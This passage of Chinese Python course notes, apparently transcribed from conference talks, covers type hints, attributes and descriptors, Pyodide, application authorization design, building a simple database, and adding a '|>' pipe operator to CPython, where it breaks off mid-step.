我们从为什么需要类型提示开始,了解了它能帮助我们在代码运行前发现错误。接着,我们学习了基础语法,如何为函数参数和返回值添加类型。然后,我们探索了内置与标准库类型,如 list[int]、dict[str, float] 以及更通用的 Sequence、Mapping。
对于更复杂的场景,我们介绍了高级类型概念,包括联合类型 (|)、可选类型 (Optional) 和可调用类型 (Callable)。我们还学会了如何创建自定义的泛型类型来描述自己的数据结构。

最后,我们回顾了类型系统的版本演进,并详细了解了 Python 3.10 引入的联合运算符、参数说明变量和类型保护,以及 Python 3.11 引入的 Self 类型。

希望本教程能帮助你开始在 Python 项目中使用类型提示,编写出更清晰、更可靠的代码。
072:理解属性(它们并不无聊) 🐍

在本节课中,我们将要学习Python中属性的核心概念。属性是Python面向对象编程的基石,理解它们如何工作,能让你更深入地掌握Python的运作机制。我们将从变量与属性的区别开始,逐步深入到属性查找、继承以及背后的描述符协议。
变量与属性:根本性的区别 🔍
上一节我们介绍了本课程的目标,本节中我们来看看Python中变量和属性的根本区别。
在Python中,给变量赋值 x = 100,并不意味着将值 100 放入名为 x 的内存位置。它的含义是:名称 x 现在指向整数对象 100。这是一个完全不同的概念,称为“名称绑定”。
我们可以通过一个简单的类来观察属性:
class MyClass:
pass
x = MyClass() # x 是一个变量,指向 MyClass 的一个实例
x.y = 100 # y 是对象 x 上的一个属性,值为 100
这里,x 是一个变量,而 y 是附加在 x 所指向的那个对象上的一个属性。
Python中有两个独立的存储系统:
- 变量:是名称到对象的引用。
- 属性:是对象内部存储的“名-值”对,可以视为对象的私有字典(使用点号
.访问,而非方括号[])。
每个Python对象都有属性。例如:
sys.version:sys是一个指向模块对象的变量,version是该模块对象的一个属性。str.upper:str是一个指向字符串类的变量,upper是该类的一个方法属性。random.random():random是一个模块,random是该模块的一个函数属性。
属性可以包含任何Python对象:数据、函数等。同样,你也可以在(几乎)任何对象上设置任何属性。
类中的属性:__init__ 的作用 🏗️
上一节我们区分了变量和属性,本节中我们来看看属性在类中是如何被创建和初始化的。
当我们创建一个类时,通常会定义 __init__ 方法。需要明确的是,__init__ 不是构造函数。对象在 __init__ 被调用之前就已经创建好了。__init__ 方法的职责是初始化新创建对象的属性。
class Person:
def __init__(self, name):
self.name = name # 在实例(self)上创建属性 `name`
p1 = Person(“name_one”) # p1 现在拥有属性 name,其值为 “name_one”
在 __init__ 内部,self 指向新创建的实例,self.name = name 语句在该实例上创建了一个名为 name 的属性。
类属性与实例属性:共享与查找 🔄
上一节我们看到了实例属性的创建,本节中我们来看看类属性,以及Python如何查找属性。
假设我们需要跟踪创建了多少个 Person 实例。一个直观但错误的方法是在 __init__ 中使用全局变量,这会引发 UnboundLocalError。更好的解决方案是使用类属性。
在类体中直接赋值的变量,会成为类属性。
class Person:
population = 0 # 这是一个类属性,不是全局变量
def __init__(self, name):
self.name = name
Person.population += 1 # 通过类名访问并修改类属性
population = 0 不是在创建全局变量,而是在创建 Person 类的一个属性。类可以被看作一个“无文件的模块”,类体内定义的函数和变量都是该类的属性。
Python通过 ICPO规则(Instance, Class, Parent, Object)来查找属性:
- 首先在实例本身查找。
- 如果未找到,则去它的类中查找。
- 如果仍未找到,则去父类中查找(涉及继承时)。
- 最后,到达顶层的
object类。
print(Person.population) # 直接查找类属性
print(p1.population) # 实例没有该属性,向上找到类属性
print(p2.population) # 同上
方法查找也遵循此规则。当调用 p1.greet() 时,Python先在 p1 实例上找 greet 属性,未找到后去 Person 类上找到并执行。
继承中的属性查找 👨👦
上一节我们了解了单个类的属性查找,本节中我们来看看继承如何影响这一过程。
使用继承时,子类会将被继承的类插入到其ICPO查找链的“父类”环节。
class Person:
def __init__(self, name):
self.name = name
def greet(self):
print(f“Hello {self.name}”)
class Employee(Person): # Employee 继承自 Person
def __init__(self, name, id_num):
self.id_num = id_num
# 注意:这里没有设置 name 属性!
e1 = Employee(“Alice”, 123)
e1.greet() # 输出:Hello Alice
调用 e1.greet() 时,查找路径是:e1(实例) -> Employee(类) -> Person(父类)。在 Person 类中找到 greet 方法并执行。
但是,上面的代码有一个问题:Employee 的 __init__ 覆盖了 Person 的 __init__,导致 name 属性从未被设置。greet 方法中的 self.name 将无法找到。解决方法是在子类中显式调用父类的初始化逻辑:
class Employee(Person):
def __init__(self, name, id_num):
super().__init__(name) # 调用父类的 __init__ 来设置 name
self.id_num = id_num
super() 返回一个代理对象,它会根据方法解析顺序(MRO)找到正确的父类并调用其方法。
描述符:属性访问的魔法 🪄
上一节我们探讨了继承链上的属性查找,本节中我们来看看属性访问背后更底层的机制——描述符。
你是否想过,为什么通过实例调用方法 p1.greet() 和通过类调用 Person.greet(p1) 都能工作?这背后的魔法是描述符协议。
如果一个类属性是描述符(即定义了 __get__ 方法),那么访问这个属性时,行为会发生变化。
class LoudNumber:
def __init__(self, num):
self.num = num
print(f“LoudNumber initialized with {self.num}”)
def __get__(self, obj, objtype=None):
print(f“__get__ called. obj={obj}, objtype={objtype}”)
return self.num
class Person:
age = LoudNumber(30) # 类属性是一个描述符实例
p = Person()
print(p.age) # 触发 LoudNumber.__get__,obj 是 p 实例
print(Person.age) # 触发 LoudNumber.__get__,obj 是 None
当我们访问 p.age 或 Person.age 时,实际上调用的是 LoudNumber 实例的 __get__ 方法,而不是直接返回 LoudNumber 对象本身。__get__ 方法接收两个参数:obj(访问属性的实例,如果是通过类访问则为 None)和 objtype(属性所属的类)。
方法本身就是描述符! 函数对象实现了 __get__ 方法。
- 当通过类访问时(如
Person.greet),obj为None,__get__返回原始函数。 - 当通过实例访问时(如
p1.greet),obj为实例本身,__get__返回一个绑定方法——这本质上是一个将实例与原始函数预先绑定好的partial函数,因此调用时无需再传入self。
from functools import partial
def add(a, b):
return a + b
add_five = partial(add, 5) # 预先绑定第一个参数为5
print(add_five(10)) # 输出 15,相当于 add(5, 10)
p1.greet 返回的绑定方法,其原理类似于 partial(Person.greet, p1)。
描述符协议是Python实现属性、方法、@property、@classmethod、@staticmethod 等特性的基础。虽然我们很少需要自己编写描述符,但理解它有助于洞察Python的运作原理。
总结 📚
本节课中我们一起学习了Python属性的核心知识。
我们从变量与属性的根本区别开始,明确了变量是名称到对象的绑定,而属性是对象内部存储的数据。接着,我们探讨了在 __init__ 方法中如何初始化实例属性,以及如何使用类属性在类的所有实例间共享数据。
我们深入学习了Python的 ICPO属性查找规则(实例->类->父类->对象),并看到这个规则如何无缝地支持继承和方法调用。最后,我们揭开了描述符协议的神秘面纱,了解到正是它使得方法绑定、@property 等高级特性成为可能,它是Python属性访问背后优雅而强大的机制。

理解属性,是理解Python面向对象编程深层次原理的关键一步。它们并不无聊,反而是Python灵活性和强大表现力的源泉。
073:什么是 Pyodide?


在本节课中,我们将要学习 Pyodide 的基本概念,了解它是什么以及它如何工作。Pyodide 是一个可以在 Web 浏览器中运行的 Python 发行版,它使得开发者能够直接在客户端执行 Python 代码,而无需依赖后端服务器。
概述
Pyodide 的核心是将 CPython 解释器编译为 WebAssembly,从而在浏览器环境中运行。它不仅支持运行 Python 代码,还能使用许多流行的 Python 科学计算库,如 NumPy、Pandas 和 Matplotlib。这使得在 Web 应用中集成复杂的 Python 数据处理和可视化成为可能。
WebAssembly 简介
上一节我们介绍了 Pyodide 的基本概念,本节中我们来看看其底层技术——WebAssembly。
WebAssembly 是一种为基于栈的虚拟机设计的二进制指令格式。它是浏览器中除 JavaScript 外的第二种编程语言,具有可移植、体积小和注重安全性的特点。WebAssembly 本身不提供标准库,所有与外部世界的交互都需要通过宿主环境(如浏览器)定义的导入函数来实现。
Emscripten 工具链
为了在 WebAssembly 中运行 C/C++ 代码,我们需要一个编译器工具链,这就是 Emscripten。它使用 Clang 编译器将代码编译为 WebAssembly,并提供了 JavaScript 绑定来实现系统调用,从而模拟了一个 POSIX Linux 环境。这使得移植现有的应用程序到浏览器成为可能。
Pyodide 的核心组件
Pyodide 主要由以下几个核心组件构成:
- CPython 解释器:标准的 Python 解释器被编译为 WebAssembly。
- 外部函数接口:用于处理 Python 的 C 扩展。
- JavaScript 主机环境:提供操作系统功能,所有标准库都在其中实现。
- 预编译的二进制扩展:包括 NumPy、Pandas、SciPy 和 Matplotlib 等。
- MicroPIP:一个用于从 PyPI 安装纯 Python wheel 包的简化工具。
包管理与生态系统
Pyodide 支持丰富的 Python 包生态系统。以下是其包管理的主要方式:
- 预构建的二进制包:超过 120 个核心科学计算包已预先编译好。
- 通过 MicroPIP 安装:可以从 PyPI 安装纯 Python 的 wheel 包。
- 自定义构建系统:对于带有二进制扩展的包,需要使用受 Conda 启发的元数据格式进行专门构建。
外部函数接口
能够在浏览器中运行 Python 只是第一步,与现有的 Web 技术(JavaScript/DOM)无缝交互同样重要。Pyodide 提供了友好的外部函数接口来实现这一点。
从 Python 调用 JavaScript:你可以直接从 Python 导入并使用全局 JavaScript 对象。
from js import setTimeout
def callback():
print("Hello from Python!")
setTimeout(callback, 1000) # 1秒后调用
从 JavaScript 调用 Python:全局 pyodide 对象让你可以访问 Python 环境。
let sum = pyodide.runPython(`
def add(a, b):
return a + b
add
`);
console.log(sum(2, 3)); // 输出 5
Pyodide 会自动在简单类型(如数字、字符串、None/null)之间进行转换。对于复杂类型,它会创建代理对象,让你可以跨语言调用方法。
架构与限制
Pyodide 在 Emscripten 提供的虚拟机环境中运行 Python 代码。这个环境具有以下特点:
- 它是一个 32 位架构。
- 拥有一个内存中的文件系统。
- 存在一些限制:
- 不支持多进程 (
subprocess)。 - 不支持线程。
- 不支持套接字,因此无法直接使用
requests等网络库。 - 标准输入/输出流需要重定向到网页进行渲染。
- 不支持多进程 (
主要用例
Pyodide 开启了多种新的应用可能性,以下是三个主要的用例领域。
1. 交互式计算
这种架构下,所有计算都在用户的浏览器中完成,服务器只提供静态文件。这对科学交流、数据可视化和创建交互式文档非常有利。
- 优点:
- 无需安装:用户无需在本地安装 Python。
- 易于部署与扩展:开发者无需维护服务器、容器或云服务。
- 保护隐私:敏感数据无需离开用户设备。
- 相关工具:PyScript、Jupyter Lite、Stlite、Iodide 等。
2. 教育
Pyodide 为编程教育提供了理想的平台。例如,法国的高中课程已采用基于 Pyodide 的笔记本解决方案,每周服务约 10 万用户,而只需维护极少的静态文件服务器。
3. 机器学习模型部署
传统部署 ML 模型需要复杂的服务端设置。使用 Pyodide,你可以:
- 在 Python 中训练模型并用
pickle序列化。 - 将序列化的模型和推理代码直接嵌入网页。
- 用户在浏览器中加载页面即可运行模型进行预测。
这种方式简化了部署流程,并允许在客户端进行模型训练和实时交互。
技术挑战与解决方案
在开发 Pyodide 的过程中,团队克服了许多技术难题。
SciPy 与 Fortran:SciPy 依赖 Fortran 代码,但缺乏成熟的 LLVM Fortran 编译器。解决方案是使用 f2c 工具将 Fortran 代码转换为 C 代码,并结合大量手动修补,才使大部分 SciPy 测试得以通过。
函数指针调用约定:许多 Python C 扩展存在函数签名不匹配的问题,这在本地系统上可能运行正常,但在 WebAssembly 严格检查下会导致崩溃。Pyodide 的解决方案是使用一个 JavaScript “跳板”函数来中介调用,此方案已被上游合并到 Python 3.11。
异步 I/O 与网络:由于缺乏套接字支持,需要使用 JavaScript 的 fetch 等异步 API。Pyodide 实现了一个自定义的异步事件循环,将其任务调度到浏览器的事件循环中。对于同步阻塞操作(如下载文件),可以使用 Web Workers 配合 synclink 这样的项目来模拟。
包体积优化:Python 科学计算包通常很大。潜在的优化方案包括:将大包拆分成小包、使用打包工具只包含运行时实际访问的文件、实现动态导入,或者等待平均网页大小增长的趋势。
未来发展路线图
Pyodide 项目仍在积极发展中,未来的工作重点包括:
- 维护与更新:持续跟进 Emscripten、CPython 和新版依赖库。
- 补丁上游化:将 NumPy 等库的修复补丁提交到上游项目。
- 功能增强:改进对异步 I/O、Web Workers 的支持,探索线程支持的可能性。
- 优化与文档:继续优化包体积,构建更可持续的构建系统,并完善项目文档。
总结


本节课中我们一起学习了 Pyodide,一个强大的浏览器内 Python 运行环境。我们了解了它的核心原理是基于 WebAssembly 和 Emscripten,认识了其架构和主要组件,并探讨了它在交互式计算、教育和机器学习部署等领域的应用。尽管面临包体积、网络 I/O 等技术挑战,但 Pyodide 及其活跃的生态系统正在不断进步,为在 Web 上构建丰富、隐私友好且无需服务端的 Python 应用开辟了新的道路。
074:为什么授权很有趣

在本课程中,我们将学习应用程序授权的核心概念、挑战以及如何让它变得有趣。授权决定了用户登录后能在应用内做什么,是产品体验和安全性的基石。
概述
授权是应用程序开发中至关重要但常被忽视的部分。它不仅仅是简单的“是/否”检查,而是一个涉及逻辑、数据和架构的复杂系统。本节课将带你了解授权建模、执行和架构的核心知识,帮助你理解其复杂性并找到简化它的方法。
授权建模:定义规则与数据
上一节我们介绍了授权的基本概念,本节中我们来看看如何为你的应用程序定义授权规则,即“建模”。
授权建模的核心是回答一个问题:用户能否对特定资源执行特定操作? 这通常可以抽象为一个函数:can(user, action, resource),返回布尔值。
核心组件:逻辑与数据
任何授权模型都由两部分构成:
- 逻辑:定义规则的抽象部分(例如,“管理员可以做任何事”)。
- 数据:驱动这些规则的具体信息(例如,用户的“管理员”属性存储在数据库中)。
常见授权模型示例
以下是几种常见的授权模型实现:
1. 简单管理员模型
逻辑是“管理员拥有一切权限”。数据可能来自用户对象的属性。
# 逻辑:管理员可以做任何事
def can(user, action, resource):
return user.is_admin # 数据:来自用户对象的 is_admin 字段
2. 基于角色的访问控制
这是一种非常常见的模式,通过“角色”来分组权限。例如,GitHub 仓库有“读取”、“分类”、“管理员”等角色。
# 定义角色权限矩阵(逻辑)
ROLE_PERMISSIONS = {
“read”: [“read_repo”, “clone_repo”],
“triage”: [“read_repo”, “clone_repo”, “close_issue”],
“admin”: [“do_anything”]
}
# 检查逻辑
def can(user, action, resource):
user_role = get_user_role(user, resource) # 数据:获取用户在该资源上的角色
return action in ROLE_PERMISSIONS.get(user_role, [])
3. 复杂的现实模型
实际产品(如GitHub)的模型要复杂得多,涉及资源层级(组织->仓库->问题)和混合规则(角色+所有权)。
def can(user, action, issue):
# 检查组织级角色
if user.has_org_role(issue.repo.organization, “owner”):
return True
# 检查仓库级角色
if action in ROLE_PERMISSIONS.get(get_user_repo_role(user, issue.repo), []):
return True
# 检查问题创建者
if action == “edit” and user == issue.creator:
return True
return False
随着模型变复杂,代码容易变成难以维护的“泥球”。这时,使用为授权设计的专用声明式语言会更有优势,它能让开发者更专注于定义“产品应该做什么”,而非“如何实现”。
授权执行:将规则融入应用
上一节我们学习了如何定义授权模型,本节中我们来看看如何在实际应用中执行这些规则。
执行不仅仅是简单的“检查与拦截”,更关乎提供流畅的用户体验。我们需要在三个层面应用授权:API/路由层、数据层和用户界面层。
1. 基础执行:路由守卫
这是在请求入口处进行的典型检查,防止未授权访问。
# Flask 路由示例
@app.route(‘/document/<doc_id>’)
def get_document(doc_id):
document = Document.query.get(doc_id)
if not authorize(user, “read”, document): # 执行检查
raise PermissionDeniedError(“无权访问此文档”)
return render_template(‘document.html’, document=document)
但这会导致用户直接看到错误页面,体验不佳。
2. 进阶执行:数据过滤
更好的方法是在数据查询层面就进行过滤,使用户根本“看不到”无权限的资源。这就像GitHub对未登录用户隐藏私有仓库。
- 框架集成:例如在Django中,可以重写模型管理器,自动注入权限查询。
# 返回已应用授权过滤的查询集 authorized_docs = Document.objects.for_user(request.user) - 数据库原生:使用如PostgreSQL的行级安全性特性,在数据库层面实现过滤。
3. 用户体验执行:界面适配
最优雅的执行是在用户界面上动态展示或隐藏功能。例如,GitHub根据你的权限决定是否显示“关闭问题”按钮。
这通常通过以下方式实现:
- API响应中包含用户的权限位(例如
{“permissions”: {“triage”: true, “admin”: false}})。 - 前端根据这些权限位控制UI元素的显示状态。
// 前端逻辑示例
if (repo.permissions.triage) {
showButton(‘close-issue-button’);
}
将授权逻辑推送到前端和数据库,可以创造无缝的用户体验,避免用户碰壁。这要求建模、执行和架构紧密协作。
授权架构:分布式系统的挑战
上一节我们探讨了在单个应用中如何执行授权,本节中我们来看看当系统发展为多个微服务时,授权架构面临的挑战。
在单体应用中,授权逻辑和数据集中在一处。但在微服务架构中,多个服务可能需要共享同一套授权逻辑和数据,这就带来了分布式系统设计的经典难题。
架构决策框架
选择如何设计授权架构,主要围绕两个维度的权衡:逻辑的集中/分散 和 数据的集中/分散。
以下是几种常见的模式:
1. 逻辑分散,数据分散
- 描述:每个服务独立实现自己的授权逻辑,并管理所需的数据(如用户角色)。
- 优点:简单,服务间解耦。
- 挑战:逻辑重复,难以保持跨服务的一致性更新。
2. 逻辑集中,数据分散
- 描述:授权逻辑定义在中心位置(如一个共享库或配置中心),但每个服务持有自己的数据副本或从专属服务查询。
- 优点:逻辑统一,易于修改。
- 挑战:需要同步逻辑更新;服务可能需要频繁进行服务间调用来获取授权数据(如“用户角色服务”),增加延迟和复杂性。
3. 逻辑集中,数据集中
- 描述:构建一个中央授权服务(如Google的Zanzibar),它拥有所有授权逻辑和全局数据。其他服务通过API查询该服务。
- 优点:下游服务极其简单,授权策略高度一致。
- 挑战:构建和维护这样一个高可用、低延迟、海量数据处理的分布式系统是巨大的工程挑战(需要专门的团队和多年的投入)。
权衡与建议
- 简单起步:对于初创应用,从逻辑和数据都分散的模式开始是合理的。
- 应对增长:当逻辑重复成为负担时,考虑集中逻辑(共享库)。当服务间数据查询成为性能瓶颈时,评估数据集中或使用加密令牌(如JWT)携带少量关键数据。
- 慎重选择集中化:构建全能的中央授权服务是最高收益但也最高成本的路径,适合像Google、Airbnb这样规模的公司。
从根本上说,分布式授权是一个权衡问题:在开发便利性、运行时性能、系统复杂度和团队协作成本之间找到平衡点。
总结与资源

本节课中我们一起学习了授权的三个核心领域:
- 建模:授权关乎逻辑(规则)和数据(事实),核心问题是
can(user, action, resource)。模型会从简单变得复杂,使用声明式语言可以更好地管理这种复杂性。 - 执行:好的执行应贯穿整个应用栈,从UI适配、API守卫到数据过滤,旨在提供无缝的用户体验,而非简单的拦截报错。
- 架构:在微服务环境中,需要在逻辑和数据的集中与分散之间做出权衡,没有完美的解决方案,只有适合当前阶段的折中方案。

授权是一个深刻而有趣的问题,它结合了产品思维、安全工程和分布式系统设计。如果你对此充满热情,可以深入探索如何构建授权语言和系统。如果你更希望专注于核心业务,也可以寻求像OSO这样专业解决方案的帮助。
延伸资源:
- 授权学院:一系列关于授权模式、权衡和最佳实践的中立性技术指南。
- 专业工具:考虑使用专业的授权即服务产品或开源框架,以大幅降低自行构建和维护的复杂度。

希望本教程能帮助你更清晰地理解授权,并更有信心地在你的项目中实施它。
075:用 Python 构建数据库 🛠️

在本节课中,我们将跟随演讲者的思路,从零开始理解并构建一个简单的数据库。我们将探讨数据库的核心组件、数据存储与索引机制,以及如何从简单的内存存储演进到支持持久化和高效查询的磁盘存储结构。通过这个过程,你将打破数据库的“黑匣子”印象,理解其内部工作原理。
概述:为什么要自己构建数据库?🤔
在开始之前,我们先分享一个故事。演讲者曾作为实习生参与后端应用讨论,当时他热衷于推荐各种新潮的数据库,但导师的建议是:“为项目选择数据库时,先想三个不使用 PostgreSQL 的理由。如果找不到三个有力的理由,那就直接用 PostgreSQL。” 这引发了他的思考:为什么在数据库领域,开发者往往倾向于选择成熟、稳定的方案,而不是追逐新技术?
这种“神秘感”促使演讲者决定自己动手构建一个数据库,主要出于以下原因:
- 打破抽象:理解构成数据库的黑匣子内部。
- 提升能力:了解原理后,可以更好地推理性能问题、编写更高效的查询。
- 应对错误:理解并发错误等复杂问题的根源。
- 有趣:这是一个充满挑战和乐趣的学习过程。
那么,什么才算是一个数据库呢?最初的想法很简单:一个能与用户交互的接口(如命令行、Python驱动),一个处理请求的引擎,以及存储数据的内部结构。这个基本框架是正确的,但内部远比想象中复杂。
第一节:与数据库对话 🗣️
上一节我们讨论了构建数据库的动机和基本概念。本节中,我们来看看如何与数据库进行交互,即构建数据库的“接口”。
首先需要一个与数据库交互的途径。演讲者选择使用 Python 的 prompt_toolkit 库构建一个简单的命令行界面(CLI)。这个 CLI 会启动一个持续运行的会话,接收用户输入的 SQL 查询,将其传递给查询执行器,并返回结果或错误信息。
以下是该 CLI 的核心循环结构示例:
while True:
try:
# 获取用户输入
query = session.prompt(‘yeetdb> ‘)
# 执行查询
result, exec_time = query_executor.run(query)
# 打印结果
print_result(result, exec_time)
except Exception as e:
print(f“错误: {e}”)
这个循环构成了数据库的“外壳”,用户通过它与数据库核心功能进行通信。
第二节:定义查询语言——SQL 解析 📝
现在我们已经有了一个交互界面,接下来需要定义一种语言让用户表达他们的意图。数据库世界通用的是 SQL,但它的方言非常复杂。
为了简化,演讲者为自己的数据库定义了一套精简的 SQL 语法子集。它不再是“结构化查询语言”,而是一种简单的“查询语言”。这套语法支持以下核心操作:
以下是支持的关键词类型:
- 数据定义语言 (DDL):
CREATE TABLE,DROP TABLE - 数据操作语言 (DML):
INSERT INTO - 数据查询语言 (DQL):
SELECT ... FROM ... WHERE ... LIMIT - 通配符:
*(星号)
这套语法不支持 ALTER 或 JOIN 等复杂操作,但足以进行基本的数据管理。
当用户输入一条 SQL 查询(例如 SELECT * FROM customer WHERE name = ‘JoJo’)后,数据库需要理解并执行它。这个过程分为三步:
- SQL 解析器:将查询字符串分解成有意义的标记(
SELECT,*,FROM,customer,WHERE,name,=,‘JoJo’)。 - SQL 规划器:根据标记生成一个抽象语法树。这棵树定义了操作的执行顺序和结构。
- 执行器:按照规划器生成的树状计划,一步步执行操作,最终返回结果。
这个过程与编程语言的编译/解释过程非常相似。
第三节:数据存储的起点——内存与字典 💾
我们已经能够接收并解析用户的命令了。本节中,我们来看看数据最初是如何被存储的。最直接的方式是将所有数据保存在内存中。
最初的实现极其简单:使用 Python 字典。每个表对应一个字典,键是记录的主键(如ID),值是记录本身。
- 插入操作相当于
dict[key] = value。 - 查询操作相当于
dict.get(key)。 - 删除操作相当于
dict.pop(key)。
这种方法简单有效,但有一个致命缺陷:缺乏持久性。程序一旦关闭,所有数据都会丢失。
为了解决持久化问题,演讲者引入了“写前日志”。每次在内存字典中执行插入操作时,同时将这条记录追加写入到一个磁盘文件中。删除操作则写入一个特殊的“墓碑”标记(例如一个删除符号)。这样,即使程序重启,也可以通过重放日志文件来重建内存中的数据状态。
这种顺序追加写入磁盘的方式速度很快,但也带来了新问题:
- 查询慢:要查找一条记录,可能需要遍历整个日志文件。
- 文件膨胀:日志文件只增不减,最终会耗尽磁盘空间。
- 崩溃恢复:如果写入过程中程序崩溃,可能导致数据不一致。
第四节:加速查询——引入索引 ⚡
上一节我们实现了持久化,但牺牲了查询速度。本节中,我们引入一个核心概念来解决这个问题:索引。

索引是数据的“导航图”或“目录”。它不存储数据本身,而是存储数据在磁盘上的位置信息,让我们能快速定位。

首先实现的是哈希索引。它在内存中维护一个字典(哈希表),将每个数据的键映射到该数据在日志文件中的字节偏移量。
例如,写入两条记录:
- 键
1的数据在文件偏移量0处。 - 键
2的数据在文件偏移量9处。
当要查询键 2 的数据时,不再扫描整个文件,而是直接通过哈希索引查到偏移量 9,然后跳转到文件的那个位置进行读取。这大大加快了点查询的速度。
然而,哈希索引仍有局限:
- 内存消耗:所有键的映射都必须在内存中,数据量巨大时不可行。
- 范围查询低效:无法高效支持
SELECT * WHERE id BETWEEN 10 AND 100这类查询。
第五节:优化存储与扩展性——分段与压缩 🔄
我们通过索引解决了查询速度问题,但日志文件无限增长的问题依然存在。本节中,我们通过分段和压缩机制来解决空间问题。
分段:不再使用单个巨大的日志文件,而是将其分割成多个固定大小的段文件。当当前段写满后,就创建一个新的段继续写入。
压缩:由于是追加写入,同一个键可能在不同段中有多个版本(旧值和新值)。压缩是一个后台进程,它合并多个旧的段,只保留每个键的最新版本,并生成一个新的、更小的段。旧段随后可以被安全删除。
这个过程带来了多个好处:
- 控制磁盘空间:通过压缩回收空间。
- 提高查询效率:查找时只需检查最新的几个段。
- 简化崩溃恢复:恢复时只需处理最新的段和索引。
此时,我们的数据库已经有了一个雏形:追加写日志 + 内存哈希索引 + 后台分段压缩。这个模型简单且高效,被许多真实数据库(如 Bitcask)所采用。
第六节:应对海量数据——从哈希到B树 🌲
哈希索引在数据量小时表现良好,但随着键的数量增长,其内存占用大和范围查询慢的缺点变得突出。本节中,我们将索引结构升级为B树,这是现代数据库索引的基石。
B树的核心思想是保持数据有序。数据在磁盘和内存索引中都以排序的形式存储。这样带来两个优势:
- 范围查询高效:因为数据有序,可以快速定位范围的起点和终点。
- 索引结构紧凑:可以使用稀疏索引,不需要为每个键都保存一个映射,只需保存每个磁盘页的起始键,就能通过比较快速定位数据所在页。
B树是一种平衡的多路搜索树,其节点(称为“页”)的大小通常与操作系统磁盘页对齐(如4KB)。这种设计使得每次磁盘I/O都能读取尽可能多的有用数据,极大提升了效率。
B树的插入和删除操作会通过分裂、合并节点等方式来维持树的平衡,保证查找、插入、删除的时间复杂度都是 O(log n)。
第七节:高级特性与并发控制 🧩
B树本身已经非常强大,但在此基础上,数据库还可以实现更多高级特性来保证数据的一致性和并发性能。
写时复制 (Copy-on-Write):更新B树时,不直接修改原有的页,而是创建页的新副本,并在上层更新指针指向新页。这样做的好处是:
- 读者永不阻塞:正在进行的读操作看到的是旧页的快照,不受并发写入的影响。
- 实现快照隔离:数据库可以轻松维护数据在历史某个时间点的状态,这是实现多版本并发控制 (MVCC) 的基础。MVCC 允许不同的事务看到数据的不同版本,从而避免读写冲突。
预写日志 (WAL):在修改B树页面之前,先将修改意图记录到一个仅追加的日志文件中。这样即使在修改过程中系统崩溃,重启后也可以通过重放WAL来恢复到一个一致的状态,确保持久性。
锁:为了在写入时保证严格的序列化,仍然需要锁机制来保护临界区,防止数据损坏。
总结 📚
本节课中,我们一起学习了从零开始构建一个简易数据库的思想旅程。我们从最基本的与数据库交互开始,逐步深入到核心的数据存储、索引和并发控制机制:
- 接口与解析:通过CLI和自定义的SQL解析器与数据库交互。
- 存储演进:从易失的内存字典,到具备持久性的追加写日志。
- 查询优化:引入哈希索引加速点查询,并通过分段压缩解决空间问题。
- 索引升级:为应对海量数据和范围查询,采用保持数据有序的B树作为核心索引结构。
- 高级保障:通过写时复制、预写日志 (WAL) 和锁等机制,实现数据的持久性、一致性以及高效的并发读写(MVCC)。

通过这个由浅入深的过程,我们揭开了数据库神秘的面纱。理解这些底层原理,不仅能帮助我们在使用数据库时做出更明智的设计和优化决策,也能深刻体会到现有数据库系统的精妙与复杂。记住,下次选择数据库时,不妨先问问自己:“我有几个不使用PostgreSQL的好理由?”
076:通过实现管道运算符深入理解


在本教程中,我们将跟随 Sebastiaan Zeeff 的演讲,学习如何通过为 Python 实现一个新的管道运算符(|>),来深入理解 CPython 从源代码到执行的完整内部流程。我们将从词法分析开始,经过语法解析、抽象语法树生成、编译,最终到达执行循环。
概述
我们将要学习 CPython 解释器如何处理一段 Python 代码。具体来说,我们会通过添加一个新的二元运算符 |>,来探索以下核心环节:
- 词法分析:将源代码字符流转换为令牌流。
- 语法解析:使用 PEG 解析器将令牌流解析为抽象语法树。
- 编译:将抽象语法树转换为字节码指令。
- 执行:在评估循环中解释执行字节码。
通过这个实践,你将清晰地看到 Python 代码是如何一步步变成计算机可以执行的指令的。
1:词法分析 - 从字符到令牌
首先,CPython 需要理解源代码中的基本单元。这个过程称为词法分析,由词法分析器完成。
词法分析器读取源代码的字符流,并将其分割成一系列有意义的“令牌”。例如,对于代码 10 |> double,人类能轻易识别出数字 10、名称 double 和一个操作符 |>。但对解释器而言,初始状态这只是12个字符(包含空格)。
为了让词法分析器识别我们的新操作符 |>,我们需要将其定义为一个新的令牌。
以下是修改令牌定义的步骤:
- 定位到 CPython 源代码中的
Grammar/Tokens文件。这个文件定义了所有令牌名称及其对应的字符序列。 - 在文件中添加一行,定义我们的新令牌。按照惯例,我们将其命名为
VBAR_GREATER。VBAR_GREATER ‘|>‘ - 保存文件后,需要重新生成词法分析器相关的代码。在 Linux/Mac 上,运行命令
make regen-token;在 Windows 上,运行PCbuild\build.bat --regen。
完成这一步后,词法分析器就能将 |> 识别为一个独立的令牌,并将其加入到输出的令牌流中,为下一阶段的语法解析做好准备。
2:语法解析与抽象语法树生成
上一节我们让解释器识别了新的令牌,本节我们来看看如何让解析器理解这个令牌在语法结构中的含义。
解析器接收词法分析器产生的令牌流,并根据 Python 的语法规则,将其构建成树形结构,即抽象语法树。Python 3.9+ 使用了基于 PEG 的新解析器,可以直接生成 AST。
以下是添加新语法规则的步骤:
- 定义语法规则:打开
Grammar/python.gram文件。我们需要添加一条名为pipe的新规则。这条规则应该是递归的,以支持链式调用(如x |> f |> g)。
这条规则表示:一个pipe[expr_ty]: | a=pipe ‘|>’ b=sum { _PyAST_BinOp(a, b, CallPipe, EXTRA) } | sumpipe表达式可以是一个pipe后接|>和sum,或者直接就是一个sum。CallPipe是我们即将定义的 AST 节点类型。 - 引用新规则:为了让新规则生效,需要修改现有语法中表达式(如
shift_expr)的定义,使其最终指向我们的pipe规则。 - 定义 AST 节点:打开
Parser/Python.asdl文件。在operator枚举中添加我们的新操作符CallPipe。operator = … | CallPipe - 重新生成解析器与 AST 代码:运行
make regen-pegen和make regen-ast(或相应的 Windows 命令)来应用所有更改。
现在,解析器已经能够理解 |> 语法,并将其转换为一个类型为 BinOp、操作符为 CallPipe 的 AST 节点。
3:编译 - 从 AST 到字节码
现在我们已经有了代码的树形表示(AST),本节中我们将看看编译器如何将 AST 转换为虚拟机可以执行的字节码。
编译器遍历 AST,为每个节点生成对应的字节码指令。字节码是一种低级、基于栈的中间表示。
以下是教编译器处理新操作符的步骤:
- 定义操作码:打开
Lib/opcode.py文件。添加一个新的操作码,例如BINARY_PIPE_CALL,并为其分配一个数值(如 90)。需要确保后续操作码的数值依次递增。
注释def_op(‘BINARY_PIPE_CALL‘, 90) # 操作数消耗:2 -> 1# 2 -> 1表示这个操作会从值栈中弹出两个值,然后压入一个结果值。 - 关联 AST 节点与操作码:打开
